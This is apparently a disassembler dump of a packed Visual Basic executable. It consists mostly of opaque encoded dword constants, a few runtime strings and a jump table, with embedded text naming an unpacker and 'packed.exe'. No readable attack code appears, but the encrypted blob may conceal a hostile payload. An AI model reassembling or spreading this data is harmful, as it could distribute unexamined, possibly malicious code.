		dd 0E5520EF2h, 0F7D119CDh, 85495C6Ch, 0EFC93149h, 0CDBA1454h
		dd 7EF4D22Ah, 0E459E800h, 0E7987517h, 2F000001h, 0E80BF4D2h
		dd 0A346318Dh, 6285724Ch, 243F8806h, 107DCAC4h,	0DBB3CBDFh
		dd 1670896Ch, 522C4EA9h, 92EC02E5h, 8750CC25h, 7BAE6EFAh
		dd 516D9019h, 5D1BE073h, 0C038759Dh, 423CBC37h,	0AEB997F5h
		dd 759D5CE1h, 7AFD0AF6h, 0C63D8A04h, 0A19F637Bh, 8A7436B6h
		dd 0A6CE74Fh, 5B378FEBh, 0E208F0ACh, 92340049h,	6752AA6Fh
		dd 0E17A912h, 0A57ABCh,	0B41B0000h, 29B25836h, 9C57F5D1h
		dd 759D5959h, 0CAB5116Fh, 116BECCAh, 57E1AEB5h,	0AF6759Dh
		dd 8A047AFDh, 64CE1060h, 66E9D90Ah, 64D44F8Ah, 694F979Bh
		dd 0A5B216E3h, 392A607Bh, 6F91F174h, 40A4BF83h,	5B8CEA46h
		dd 498421F0h, 0C20563DFh, 80632CAAh, 74D46E68h,	0ABE45B0Eh
		dd 114C401h, 0A5DA0000h, 609B5E29h, 1F5E9966h, 0D91DD8A7h
		dd 97D712FDh, 0B27F503Fh, 0BF0886E6h, 0FC4B43A4h, 3887FF79h
		dd 78C7BF3Dh, 0CD5285F3h, 0EA7BAE6Fh, 34B4B0A7h, 81FB7C5Ah
		dd 0C3BE705h, 4DA4DA1Dh, 43BFAD29h, 0B42118E7h,	0CCB25836h
		dd 5CB845EEh, 63DF759Dh, 0E3DB11D4h, 0AF274285h, 6579B1A0h
		dd 0ADB0A39Dh, 0B24F8C57h, 0E51BDC4Eh, 86518FE9h, 6F8C57F9h
		dd 13C4221Eh, 6F8C578Eh, 0BBAA55A5h, 292E42B8h,	0E8E60769h
		dd 25147E66h, 0B008A349h, 8400B269h, 0EDE90D64h, 29401B31h
		dd 785696ADh, 7B4EE4D2h, 4953D80Bh, 98602242h, 0A316C83Ch
		dd 5D34ED63h, 836CE2BBh, 37BF174h, 433BB1B4h, 5295F3A9h
		dd 528EBC1Ah, 4206FC81h, 18271B22h, 43BD195Dh, 0C3696580h
		dd 765CF01Fh, 27809F0h,	0F4A4AA84h, 69362185h, 8E2241E7h
		dd 0E1A0BCB2h, 2EC938C7h, 5298F6D0h, 2CA74B36h,	0E6AA552Bh
		dd 1127h, 9B51C000h, 5ABF4EACh,	95F17432h, 202F8B77h, 37B41D62h
		dd 0D42AAD5Fh, 6D8F50FAh, 760FB11h, 0A2DA9D8Fh,	3DBD0624h
		dd 0D410AB41h, 708F50FAh, 863F416h, 56199C8Eh, 0BB53E689h
		dd 4, 835BDE01h, 348704EEh, 0F5685C24h,	89000006h, 0A4682434h
		dd 89000020h, 0BA52240Ch, 28403027h, 881E281h, 0F2812293h
		dd 261105E8h, 24348152h, 48BD39E9h, 0E9F6815Eh,	5A48BD39h
		dd 240C8B54h, 4C481h, 52560000h, 144C4BBAh, 24540161h
		dd 418F5A04h, 8698108h,	61144C4Bh, 53240C8Bh, 0C381E389h
		dd 4, 8704C383h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2DFBE95Ch, 82B0FFFBh, 9E697400h
		dd 756C787Ch, 14A7B8E3h, 0C5030611h, 51DE0FFh, 707270h
		dd 7BF2344Fh, 0DA15134Fh, 0ECB47EACh, 91442888h, 15902C4Ah
		dd 668F77B1h, 6BED7B6Dh, 22C23228h, 0BD825CD2h,	156A0FE6h
		dd 0C4F30885h, 645651F9h, 314A548Bh, 0CB1C1AFEh, 44494C8Dh
		dd 0D6A20260h, 8C53197Eh, 0BEEC24BEh, 5CE95FA3h, 0C5000001h
		dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 6Fh
		dd 0E97117DFh, 1B1Eh, 11190C68h, 6829E906h, 0C68FFFAh
		dd 0E906111Ah, 0FFFA681Fh, 111B2D68h, 6815E906h, 0D368FFFAh
		dd 0E906111Bh, 0FFFA680Bh, 111C1268h, 6801E906h, 0D368FFFAh
		dd 0E906111Ch, 0FFFA67F7h, 111D2B68h, 67EDE906h, 8768FFFAh
		dd 0E906111Dh, 0FFFA67E3h, 1123DC68h, 67D9E906h, 4F68FFFAh
		dd 0E9061124h, 0FFFA67CFh, 11252C68h, 67C5E906h, 0F768FFFAh
		dd 0E9061125h, 0FFFA67BBh, 11266268h, 67B1E906h, 5668FFFAh
		dd 0E9061127h, 0FFFA67A7h, 1127EE68h, 679DE906h, 0A268FFFAh
		dd 0E9061128h, 0FFFA6793h, 112EE568h, 6789E906h, 0F468FFFAh
		dd 0E906112Fh, 0FFFA677Fh, 1130C868h, 6775E906h, 0A1CFFFAh
		dd 0B0C72033h, 66B55281h, 71F886Bh, 0B6CA3B38h,	86ED548Fh
		dd 31221D67h, 61F2CFD4h, 9E457084h, 0CA292471h,	0C7832BC1h
		dd 48C5850Ah, 0D5DE03F9h, 4CE072F8h, 0C3941D38h, 0B59D4B8Fh
		dd 5D86B3C4h, 592D41D3h, 2EC3941Dh, 1A623AD4h, 0CE53DB01h
		dd 7F4260E6h, 0DE24D11Bh, 113F13E7h, 0E4592939h, 148C3A60h
		dd 5CA6399h, 46E72C35h,	1000000h, 0E4760D6Fh, 6CDDE039h
		dd 675B2F16h, 2E8F27C9h, 1FBD9F05h, 1885573Bh, 3C4B320Fh
		dd 7313E30Dh, 0A63A60CBh, 56BCCB3Ah, 9F83E121h,	5882E605h
		dd 603EB0D4h, 25C3373Ah, 5F8E0283h, 4A2C3514h, 0D0h, 0F8D5DE92h
		dd 605FA514h, 4C5F4E9Ch, 297AD37Dh, 73A2A81Ch, 0FBA21629h
		dd 0D72B9FA2h, 0AFF855F3h, 0E1DD4192h, 78C39419h, 47C1122Fh
		dd 8E724F56h, 64B19C4Ah, 0F785E569h, 6376FE6Ch,	0C44260FFh
		dd 633965FEh, 0F09A12D8h, 4B446D5Eh, 0AA5BE577h, 0A5996D54h
		dd 0F4C5D4h, 0D12B22CCh, 4DF27CEEh, 0AB7C9E48h,	6662E240h
		dd 0E9307311h, 92796691h, 0ADA7665Bh, 0FD07E083h, 83D4B034h
		dd 0BC5B3073h, 6881F513h, 0A79BFFEAh, 6ACCFAA8h, 0B609F98Ch
		dd 187Ah, 6A89C0D2h, 845F6ABDh,	3221186Bh, 6DF6CDD5h, 9E457880h
		dd 0C7DD3027h, 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h
		dd 8504BDC9h, 0DD4332C5h, 296EDADEh, 0C2233014h, 0B95F84B1h
		dd 84150BDh, 0A5BEDEDEh, 139B25B7h, 0C3941D77h,	196693B8h
		dd 13EC3DADh, 0C475012Fh, 0A9BD9F15h, 0CD5FED51h, 60FB2D59h
		dd 6E5BAC3Ah, 0DFE63C91h, 350C12FBh, 13E30D41h,	3A60FB73h
		dd 19F3F2A6h, 2C35D6F0h, 0CAD9h, 0D5DE2700h, 5FA514F8h
		dd 78549C60h, 0C1C39419h, 0CFF60CB4h, 8A9F08EBh, 0C9D3CBBFh
		dd 3104A8B2h, 364260FFh, 354717CCh, 20B23C2Eh, 60CCF88Ch
		dd 0FE8A223Ah, 713A60CCh, 9AB48E09h, 6D5CB3CAh,	0E9FA6144h
		dd 8567F305h, 7493709Eh, 71CF05EDh, 0AEBC9058h,	95A8F11Ch
		dd 0B78E927Bh, 0F7BB20ACh, 46DDA5E1h, 0E5761B24h, 0DC908526h
		dd 0FEC1DB32h, 6A522371h, 857AC88Ch, 177Ah, 6A89C0D2h
		dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
		dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h,	8507BDC9h
		dd 0DD4332C5h, 71FBDADEh, 3DF249CAh, 0B624D3EEh, 4023CD55h
		dd 0FC6752A7h, 3A4EE670h, 8DC394D2h, 0DEA59BB5h, 0BC146DD5h
		dd 95E95D68h, 1E8F5DB1h, 0A7502419h, 4F72F44Ah,	0B452B62Dh
		dd 0AD98ED5Ch, 0DA0300BFh, 9F3C58D9h, 34EB9860h, 26C0F499h
		dd 0C1D2C34Dh, 7DCC00F4h, 57AB1F2Ah, 8C97E5B9h,	6D5CAF5Eh
		dd 8529C3h, 5BD9F7Ch, 0B9FE2F3Dh, 23DC3084h, 0BFC8D3CCh
		dd 0D830DED7h, 61937808h, 0F6F7AD3Ah, 359AEB02h, 0A8C62Ch
		dd 462E0000h, 0C65D3F2Bh, 0A39EE914h, 0A34DFBDFh, 4E1CAA11h
		dd 922A43A8h, 0DBA5E074h, 50AABD9Fh, 0C145F77Fh, 39909FBh
		dd 1362668Eh, 9DE5E6CFh, 89EDD82Ch, 22EECB63h, 7B5F98C4h
		dd 0EB059797h, 0FADEA29Dh, 0E688FC70h, 3B1FDCDBh, 0E99115C7h
		dd 46A2D629h, 0EA3FEE7Ch, 9EEB04DFh, 0B0FAA4A3h, 19E96710h
		dd 1659A6h, 0A8A7F300h,	7E4B5A4Bh, 0C0F908E5h, 95ACF213h
		dd 645BA14Eh, 0FA1158FFh, 0AB449FA6h, 1BF46F52h, 0C421320Dh
		dd 0AC5D86B3h, 65C28BCh, 64D3C585h, 0F8D5DEFCh,	0F3881414h
		dd 0D40C569h, 0FDC5BD9Fh, 50BD9E66h, 0EDD8764Bh, 8992EAD6h
		dd 5FECB63h, 0B4FBD9Fh,	8A84D214h, 498C548h, 1A68BAA4h
		dd 0C73B3BB4h, 91A8B15h, 5742123Ch, 0D8CF5426h,	7E1E1EE2h
		dd 97FF77E5h, 68D12625h, 0CADDC812h, 6E9F51FFh,	0D3C22825h
		dd 0C2068AC5h, 0AD11287Bh, 0A824BF69h, 0F11F2A7Dh, 313E0B1Ch
		dd 19A0B28Fh, 0B3E9AEA4h, 0D000015h, 0F411C2F9h, 0A24390A1h
		dd 0CF97A57h, 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h
		dd 5463B552h, 38151E8Fh, 921AD63Bh, 0C58506F6h,	0DE128A79h
		dd 5B6FF8D5h, 0E880522Ch, 1574A51Ah, 0BACC0000h, 60B75083h
		dd 16658251h, 0B7CF383Bh, 66BA6B88h, 363D845Fh,	61F2CDD7h
		dd 91427F84h, 0CE152074h, 7AF9D421h, 0B7D35B91h, 38C58501h
		dd 0D5DED349h, 0A529146Dh, 7DD8D661h, 0A6452FDCh, 0CF6CFE42h
		dd 8B72A93Ah, 4854F27Ch, 0A93D2F34h, 0BD9FF470h, 196EF5CDh
		dd 162D4F99h, 0CD65A0C4h, 90EA446Ah, 0E9435B4Ah, 0FFD3A79Ah
		dd 0EA766D9Bh, 30DEE13Bh, 0D63576A4h, 0DB3646DBh, 0D5F53753h
		dd 6E42B894h, 0C44D68FCh, 0D822EADEh, 2279E674h, 0E6D48A57h
		dd 0EBB10D3Bh, 0C3788A50h, 0D422F1A2h, 69FD2BC5h, 0ECAFB901h
		dd 0A75684FEh, 70FC6752h, 0AD5B7685h, 0ED7A57A0h, 352A3DCFh
		dd 0B341060Ch, 0D000014h, 0F411C2F9h, 0A24390A1h, 0CF97A57h
		dd 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h, 5463B552h
		dd 38151E8Fh, 921AD63Bh, 0C58501F6h, 0A7128A79h, 0C3941D23h
		dd 942DB3D3h, 53A451C3h, 4C3CC866h, 0B43C6BDDh,	3C6BFDD4h
		dd 0FA754055h, 80524BECh, 5B443B0Fh, 0F5000014h, 5C49AAA1h
		dd 0AFB7849h, 0F411C2FFh, 0A34C97AEh, 46FD6659h, 99A4FC1Fh
		dd 6954AD5Ah, 3C0B1D8Ah, 80BDC627h, 2A42AE53h, 0C585005Eh
		dd 6FFA62D1h, 40E4760Dh, 0BD9F0059h, 0C18529BBh, 463A60CCh
		dd 9875D27Ch, 5A9B382h,	3A60CC41h, 4F98FCC6h, 865D5B59h
		dd 0FFE3A4AEh, 59000013h, 0ED764Dh, 0EE1FC4F5h,	58B5AEA3h
		dd 7E07342h, 0A211C2FDh, 6558A0BBh, 350811FEh, 98B7C12Eh
		dd 6C59AA5Bh, 4EE60AF7h, 0C585003Ah, 0DE463E8Dh, 0E2E60ED5h
		dd 65C3941Dh, 1D0743EBh, 0B288C394h, 27967A5Eh,	0E313E7D2h
		dd 45E41CA9h, 6C32400Dh, 38h, 340B11FCh, 7CE20C40h, 941D27A7h
		dd 605DA6C3h, 0CA796BF3h, 179FC3CEh, 3C309673h,	96711599h
		dd 8CF63C30h, 67EBCF33h, 137DA0h, 0BA32BC00h, 3C3096CEh
		dd 69CF7941h, 176DD5DEh, 0C60A428h, 71C60B8h, 0CC394BD5h
		dd 0D7989B4h, 82C3941Dh, 0DBC68EB8h, 0C1BD9F34h, 0F84B3FB7h
		dd 0E6DC3A60h, 6CF7CB48h, 0BD16A32h, 0CBBF869Ah, 1F9759F7h
		dd 446BC0EEh, 0C6B71B7Fh, 0C95D86BBh, 307DC6B8h, 832BEC3Bh
		dd 307DC6C7h, 0B4033246h, 5B806A4Eh, 61D48C08h,	0F56E98AFh
		dd 483C0D18h, 0D7BB96E1h, 799E2F69h, 92C9132Eh,	5854C058h
		dd 300D1229h, 0FA14084Ch, 0F56E9F79h, 0EF4C2629h, 0B2ED45D7h
		dd 0AA2FD9E5h, 1B8h, 760D6FB2h,	53AB5AE4h, 0B32C26Ch, 64BD9F26h
		dd 0D821CC1Eh, 16C74BE5h, 0C421320Fh, 343C80B1h, 3A60DB54h
		dd 2EB23361h, 5262A0B1h, 43870B42h, 0CCA595B4h,	0EDDC2B22h
		dd 0CF542876h, 7B20891Dh, 251D446Ah, 8CB1C637h,	7BB2D65Eh
		dd 0CD35307Dh, 3A7E2F23h, 0D324D11Bh
		dd 103E12E6h, 5362B657h, 67B05DEFh, 42786AB1h, 5799122h
		dd 23B35DB1h, 307DA0A1h, 3F454090h, 0A04D39ADh,	0F8C2307Dh
		dd 9AA5FF4Eh, 0FD59AC59h, 0D5299DA8h, 495C0DF1h, 202A9478h
		dd 0A06A1E96h, 0D1BD307Dh, 0CDD9C340h, 9A635720h, 0F0D4B885h
		dd 0A8515C56h, 5F76C5Dh, 262A4CE4h, 3FCDh, 0DADE2B00h
		dd 52A617FBh, 0E7219F63h, 32FB01E6h, 941DCEBAh,	97EC41C3h
		dd 8EE226AAh, 4D5540AAh, 34B88276h, 0C3941D50h,	5D8FE3D7h
		dd 941DBDC9h, 1EC832C3h, 0F092BB45h, 0C1BF3240h, 59000000h
		dd 0E4760D6Fh, 9EFF1140h, 0D0A49EBDh, 1074F80Ah, 973A60CFh
		dd 7D8885A3h, 2F76974Ch, 0A8FFAE12h, 494B3599h,	8D8734BCh
		dd 0D66E3701h, 7B8A83ADh, 0C26B954Eh, 0EF2C3587h, 74h
		dd 0BB33BD09h, 0C3941DCFh, 0F0CC7A40h, 204496A9h, 0C3941DF4h
		dd 0D5578416h, 313CDFD7h, 0C5CFBB4Bh, 7A40C394h, 9BB58493h
		dd 72F246BCh, 0C394C612h, 6B830DDFh, 0C394CA1Fh, 13FE7190h
		dd 5D031EB6h, 0D8D5CF79h, 665DA550h, 0C90BE92h,	0F600EA6Dh
		dd 78C1F007h, 56AA1E23h, 16082CB8h, 1B7FC394h, 59A14CD8h
		dd 87CF07Ah, 9FC39417h,	11968DBBh, 3E000000h, 53C8h, 129A2400h
		dd 0C3941D76h, 0F16781F9h, 0CFBB33BDh, 40C3941Dh, 3241CC7Ah
		dd 0B3C2AB1Fh, 5CA95486h, 8FB99D61h, 48EC3BD4h,	45B90D30h
		dd 2195A0F4h, 0E50589EDh, 2B3B8F98h, 0C56B4F64h, 1098158Fh
		dd 1D1A6E86h, 95EDC394h, 0F168817Bh, 6B413240h,	0AF00000Bh
		dd 764B50BDh, 0A9477287h, 0BFF8815h, 4B3FB7C1h,	0DCC3941Dh
		dd 77BC48E6h, 923B3F08h, 0DC0D8706h, 0F5A894D8h, 32h, 0E40E6F13h
		dd 6FDEA29Fh, 61A52918h, 5964BC0Dh, 0B7FF765h, 9CC3941Dh
		dd 9412D2A6h, 0D1AE761h, 4BE21697h, 7188CD23h, 0AB457084h
		dd 1F0D6h, 33BD3E00h, 941DCFBBh, 0C64B00C3h, 6D6B1E41h
		dd 3E7EA892h, 0EB1AC05Fh, 9187A198h, 0D5DEBCA4h, 0D04806F8h
		dd 40050CCDh, 38D3237h,	2F66B96Ch, 21E67B95h, 0E000000h
		dd 9F710E6Fh, 1D5829BDh, 0EDD5C394h, 4A878E7Fh,	47BDA69Ch
		dd 18FED3DEh, 3FC8857Bh, 50000000h, 9F710E6Fh, 94450BDh
		dd 4B3FB785h, 0DCC3941Dh, 8A6482E6h, 941D6362h,	0F1481C3h
		dd 0CD0A4E32h, 25C5B3EFh, 1992BCF7h, 778273F9h,	0BDB6AC5Ah
		dd 0FED3DE47h, 4550BD18h, 0A24C8074h, 2BA7080Eh, 0B204A3B8h
		dd 638C576Eh, 0C4313B16h, 9C6781BCh, 0DD162973h, 5B404D97h
		dd 0B31C734Eh, 0F7986B66h, 18958F9Ch, 0B4ABA6F3h, 0F2961EA8h
		dd 75835B84h, 196AE30Dh, 0D226272Ch, 5B847E0Fh,	618BCF83h
		dd 0D98C6EB4h, 3B3AEBA3h, 0B5897D51h, 5E98C89Bh, 605DA64Fh
		dd 0C3FE0BFAh, 0F6ED1B7Fh, 0B23AF309h, 835B13D6h, 0DF0D6159h
		dd 0ACD5F060h, 0D6707A19h, 2873E872h, 0FC278457h, 572590BEh
		dd 6EFFE3Ah, 0F710C3F2h, 3B4597A2h, 5B30D7B3h, 0C4625883h
		dd 1BCED233h, 835B306Ah, 0D5549FE3h, 98ED1293h,	0B0C54AADh
		dd 47194E85h, 0FD22A3E1h, 0D5BA9DA8h, 917EF5C0h, 0E9BFB48Bh
		dd 5160B667h, 0BF0FDB7h, 74ECC3FEh, 6F8D5DEh, 0A6FBCA4h
		dd 0D0489375h, 40050CCDh, 2F2537h, 6FC30000h, 0BD93750Ah
		dd 941D5829h, 0BEDD5C3h, 0DA133BDh, 0C3941D79h,	0E45AF4CEh
		dd 9C9F1EBDh, 7DF10635h, 1E2B7AD3h, 0C8857BB8h,	3Bh, 0E00A6F50h
		dd 0F2D6BA97h, 29BD389Eh, 0C3941D58h, 0BDA71979h, 790DA133h
		dd 0CEC3941Dh, 0DEE45AF4h, 7B04FAD7h, 36F104F1h, 941DCABEh
		dd 1655DC3h, 0DBE59BDh,	7BD69F1Bh, 0A705FB15h, 0C3941E99h
		dd 58E7DE24h, 10A551FFh, 940B6F71h, 0FFFFFDB8h,	1D27A73Ch
		dd 96C5C394h, 4EEF2ACDh, 0B93BD74h, 377E0E72h, 0D1731D36h
		dd 0C3078BC6h, 9DE97DEFh, 12C394C7h, 0FE2F3428h, 0A03945B3h
		dd 2F6CDD5h, 0C72D31CEh, 3F2785Ch, 2C74C5F4h, 0C913F711h
		dd 9FDC8DCh, 73E4435h, 25B15FB3h, 0C3947BA1h, 1DE1DC28h
		dd 0E46859ACh, 0D0AA3B79h, 0B95E6F25h, 638C576Ah, 88372514h
		dd 0D5E2C3DAh, 447B8101h, 8EB89CF0h, 6FF089D5h,	0FEA519Bh
		dd 0EE9DBDC8h, 97AA3AD4h, 0B281C1DAh, 0FC2DE7E6h, 0C2EFE9EFh
		dd 78BC6D3h, 0FA5C25C3h, 0CC000001h, 0F65E2A42h, 7CD17E3Dh
		dd 52B61A27h, 0BD6AD07Eh, 0DB754850h, 941D7A0Bh, 2B304CC3h
		dd 2CB4ADC1h, 0B189BD9Fh, 1B3645A2h, 0E4D524D1h, 17C64Ah
		dd 899C4D31h, 0C8D4D4B8h, 54C26868h, 64588E21h,	0E4BB7EF6h
		dd 360C446Bh, 68759939h, 9768DA8Ch, 0DAAh, 1AD9F002h, 0B4AF9AEDh
		dd 0E271485Bh, 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h
		dd 5AAA5B98h, 217F063h,	0DDF2C37h, 853EED99h, 2D9362C5h
		dd 14F8D5DEh, 69F38814h, 8526A7C5h, 8D228BDh, 0A0B38E9Dh
		dd 8B903447h, 83BEC7B6h, 2172DBAFh, 3448A014h, 21B33D2Fh
		dd 7AF4F98Dh, 0DA744E3Ah, 71C2AB0Ah, 0B1BE8444h, 8C6E5753h
		dd 3715EA58h, 9100000Dh, 78954E85h, 26C71C2Dh, 907DE6DBh
		dd 7FA84B8Ah, 7AD91A25h, 0BD809873h, 0D3049A6h,	0D0EF39D6h
		dd 0A491E203h, 169E52BFh, 0C5853972h, 0DE9E06F5h, 0CD72F8D5h
		dd 0AF643850h, 0D8ACC05Eh, 0AFC394CFh, 41E5776Bh, 0C394CF05h
		dd 0B296B08Ah, 0D319227Ah, 9E2B225Bh, 9547BBBDh, 0B3E7E30Bh
		dd 12683A61h, 3F7B9DE5h, 6D9B854Ch, 3D081D8Ah, 0E9247826h
		dd 61B10145h, 58BC863Ah, 8A471A92h, 6BF54470h, 945C69BAh
		dd 307088F0h, 66E50377h, 51BCCE1Ch, 6FDE0847h, 0D9362D1Ch
		dd 0B865F7CAh, 95E95D60h, 1645977Bh, 85ECECC8h,	0CB42ECD6h
		dd 2D3F83BEh, 327F0BA3h, 8AF03070h, 273C405Ch, 5ABCC835h
		dd 0E397E44Dh, 103E1267h, 2967D65Eh, 0F2C84E7Bh, 793D9975h
		dd 0E758AA92h, 0C5Ah, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
		dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
		dd 0B2C72033h, 0BDAF5C87h, 85385D29h, 0FD63D2C5h, 14F8D5DEh
		dd 69F38814h, 9F1B24C5h, 8251A9BDh, 67B21265h, 4EA2E66Ah
		dd 0CB297895h, 8A15FCA7h, 469DF136h, 760D6FBEh,	1D6140E4h
		dd 94EEBD9Fh, 91EB1A20h, 94F480AEh, 413A611Dh, 8FBE5253h
		dd 0BA2C35F0h, 94h, 0FAD7DE42h,	0BA50A716h, 3F58CD8Ch
		dd 0A0244835h, 27C394E5h, 379BFFD3h, 0BD013046h, 0FD891DAFh
		dd 72C394E5h, 186FDE08h, 785C6DBCh, 5AE1BBFBh, 0E79D1C90h
		dd 0B352BD9Fh, 0CEA44708h, 3F4BE30Ch, 0B03A617Ch, 0F572564Ah
		dd 865CCAFBh, 8F7DD230h, 2900000Bh, 907DE6DDh, 7EAFB485h
		dd 28C51E33h, 9770E3D2h, 12A1B28Dh, 0D5E830CBh,	0A598E10Eh
		dd 84751BEh, 0DCE93AEBh, 0FE76FA07h, 0C585388Ah, 0DE36AE1Dh
		dd 8570FAD7h, 93F75B76h, 5B03F275h, 0AD000000h,	1C6FD7DEh
		dd 0F223C92Dh, 907896A3h, 0ED7F0498h, 6B62B263h, 0F185A3E7h
		dd 0BD9F0424h, 44B6B189h, 7F865D54h, 0B24348Bh,	6ABC0000h
		dd 10678053h, 0C6D53221h, 67BF688Bh, 166A9B58h,	668D342Fh
		dd 91427D87h, 0C1122F74h, 7EE5D024h, 0AA498491h, 67638B61h
		dd 0E8C5853Bh, 0D5DEA319h, 0B4C614F8h, 0B90D3049h, 1DF98D45h
		dd 744EC394h, 0DD2673DAh, 941D3D49h, 5448B2C3h,	3D445986h
		dd 8FA65890h, 0FB49E961h, 44C8F50Ah, 0EC4CC0DBh, 0E3C73BA8h
		dd 0AE626345h, 32401E7Fh, 0E04850BDh, 0F841A598h, 0E92D91ACh
		dd 234BA3Fh, 46420000h,	0D66D0F5Bh, 5A5E004h, 98C7BD9Fh
		dd 8196940Ch, 139183BCh, 22C13EE8h
		dd 61CACACAh, 0BB9CF02Fh, 0F7C538ABh, 55EE8E28h, 6F2A6F87h
		dd 49F6BBC2h, 4B4FBA45h, 8F8CBAF7h, 10E4D9DEh, 0E674D83Ch
		dd 39D7E237h, 0DE0C1765h, 7A59A14Ch, 4A8B296h, 0C3C52F40h
		dd 8155F3C7h, 0BDC8E0D9h, 0FFE6C56h, 0FB14CFFAh, 985493AEh
		dd 67860F77h, 0A302CE3h, 7E880000h, 24739C47h, 0D221CE15h
		dd 738B64FFh, 2276974Ch, 6A71C013h, 0ADB68993h,	0DD063B40h
		dd 0AE9E430h, 0A6BD889Dh, 6B1F9755h, 0FCC5853Ah, 0D7DE970Dh
		dd 861616FAh, 6CC76FFDh, 0FDBD8526h, 51A65785h,	0F776129Ah
		dd 14F93A7Ah, 0A4E320Fh, 0C4213216h, 0EE0417BFh, 3B109FBh
		dd 0B2067A38h, 66F07A5Eh, 7AE7BACEh, 1B350D3Ah,	9EA5F737h
		dd 255D84Ch, 16874470h,	0B4F3302h, 0A6407D82h, 1A8B51A9h
		dd 0CA3B3805h, 550488B5h, 1CFA7540h, 0DF8C6E56h, 998946Bh
		dd 0E6300000h, 8C9B74EFh, 3A49A6BDh, 0EB33DC07h, 9A9E0FD4h
		dd 0D219B8BBh, 5DEE13Bh, 0B5AE93E8h, 0E2714C58h, 1EC5F005h
		dd 93F77FEDh, 14C5853Ah, 0D5A13FA5h, 0C3941DB9h, 394FF700h
		dd 6246BA0Eh, 0EBD62F9Eh, 0FA0B2D67h, 0AE3F7580h, 5AE1BBFBh
		dd 0F8911C90h, 0DACBBD9Eh, 0F14EF8C5h, 6AD16389h, 9D99EA2Bh
		dd 0E60EDC0Dh, 3A605EE2h, 1AF31D65h, 7521320Fh,	0BCCE1C27h
		dd 605E5C28h, 41EFD33Ah, 3A7E07AFh, 10A2446Dh, 7280E89Ch
		dd 0ED1B7F30h, 0AD76816Eh, 72804D39h, 84F8C230h, 6CD0EF35h
		dd 0F7263428h, 0A34C97A2h, 2CEC7B56h, 0A38C6B8Fh, 8E4E0A7h
		dd 2A7C0000h, 0D027C013h, 869572E1h, 277FA84Bh,	0D62ADB18h
		dd 0A6CD74EFh, 0D1023D47h, 1D2EF34h, 0BEA590E4h, 0EA094451h
		dd 27A3CB21h, 0A8C58535h, 27A763D9h, 0A6C3941Dh, 68FA605Dh
		dd 941D80C4h, 0C2F109C3h, 0BE839875h, 248CBD5Ah, 0F7DE7000h
		dd 0BCC09E59h, 2AD5EC32h, 9FA40CAh, 0C6140827h,	9E1F09AEh
		dd 0DA007ABDh, 71E2DD2Bh, 0C1B58094h, 8710Eh, 50BD9600h
		dd 0C3DB7548h, 34B8A2B9h, 0BD9F2C3Dh, 9022C832h, 60F1681Ch
		dd 6D9BFF3Ah, 0F13D4DE5h, 0C8E83A60h, 0DD26C73Dh, 92032C35h
		dd 0ED000001h, 0BFFD6DEh, 0FA605DA2h, 7DC1F80Bh, 0D11BEF19h
		dd 12E6D324h, 2440A0E5h, 1656B1Eh, 0FB1D66E7h, 6068DC3Ch
		dd 4993F759h, 188C475Ch, 0C394B26Ch, 0D7BB9FE3h, 0CFD55F3h
		dd 854258F8h, 94B26561h, 0BC90EAC3h, 0F205F4C8h, 3B1F73C7h
		dd 8EB9CF38h, 839CE23Ah, 0B2C9D559h, 0E213C394h, 8C8BA59Ch
		dd 5D57C2B6h, 625DAB50h, 2D5143F8h, 24D3EE3Dh, 0B6A4B45Dh
		dd 946C4A3Eh, 4BE5DDC3h, 1E297FA8h, 2275A0AAh, 256DF917h
		dd 0D8C3946Dh, 0D024CDD8h, 0A1152870h, 6D77139Bh, 82F8C394h
		dd 1FA94AAEh, 0DCE53AA0h, 0A35FF8C9h, 7844E223h, 22D31926h
		dd 3216FAD7h, 93C85A14h, 0EF747638h, 6CF8165Eh,	0C3940F10h
		dd 1D2F93E7h, 24A8A1F0h, 0BEC746E0h, 0F95F175h,	201AC394h
		dd 269517CCh, 12B61A0Eh, 0A9F84178h, 3EE82C90h,	1A1EB6CFh
		dd 1F73573Bh, 84B1C2ABh, 56470530h, 0D0D27C41h,	0FE104FD5h
		dd 0A9E1B646h, 61FEE18h, 0B6CF383Bh, 95E7078Bh,	0A1C85C8Eh
		dd 73BD9F96h, 0BA394DE1h, 0B48E3A61h, 9E45BD9Ah, 0A1152871h
		dd 65BF3549h, 70F4665Ah, 3A61BA18h, 6EDFA397h, 0F6A72B2Ah
		dd 22289CA1h, 61BAFE8Ah, 3409713Ah, 90ADE1ECh, 176C9510h
		dd 2DBFC92Ah, 4898B1C0h, 3A61BA3Ch, 0ACA14FB3h,	17A2B157h
		dd 0D446A51Ah, 3A9AEE06h, 156D3A61h, 4F2D4D31h,	0C38E2634h
		dd 19446A0Eh, 0C63678Fh, 9EE4307Eh, 0B4AF9370h,	0E47F425Bh
		dd 11C2FD0Bh, 760D6FE3h, 345D40E4h, 0E8D2BD9Fh,	5762B564h
		dd 0A6F748Ch, 21A18175h, 0F4C3941Dh, 42EB21ACh,	6F3240F1h
		dd 2Dh,	0E81E5EFDh, 0DB779CB6h,	0D7DE372Dh, 0AADE16FAh
		dd 7FC3941Dh, 0F520A825h, 0EF2397A2h, 88B9CC41h, 0FEC3C36Bh
		dd 70D7C393h, 0FFFFFFBEh, 0F8D5DE98h, 6F65DB06h, 0B493750Ah
		dd 50CCD4Ch, 0A0323740h, 941D780Ch, 9FB2C1C0h, 552CDA20h
		dd 34h,	750A6FB3h, 5D29BD93h, 0D2C3941Dh, 50BD76E8h, 4C807445h
		dd 0B2BD32B3h, 0C866BEFFh, 0D7DEE026h, 0A428176Fh, 7BAA0C60h
